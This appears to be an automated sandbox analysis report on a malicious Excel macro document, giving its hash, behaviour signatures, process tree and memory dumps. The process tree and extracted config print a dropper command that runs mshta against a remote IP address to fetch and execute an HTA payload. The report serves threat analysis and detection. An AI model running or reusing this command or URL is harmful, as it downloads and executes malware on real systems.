Analysis
- max time kernel
121s - max time network
141s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 17:15
General
- Target tmprhv1ql7a.xls
- Size 155KB
- Sample220127-vsj8esghd2
- SHA256 704237b4797b4d7478ee7d2de9f13d46cc0f1db4914960b4e27d8dd54b03ddb4
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmprhv1ql7a.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2408 -s 16284⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3544-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-117-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-128-0x00007FF937180000-0x00007FF937190000-memory.dmp
memory/3544-129-0x00007FF937180000-0x00007FF937190000-memory.dmp
memory/3544-315-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-316-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-317-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/3544-318-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp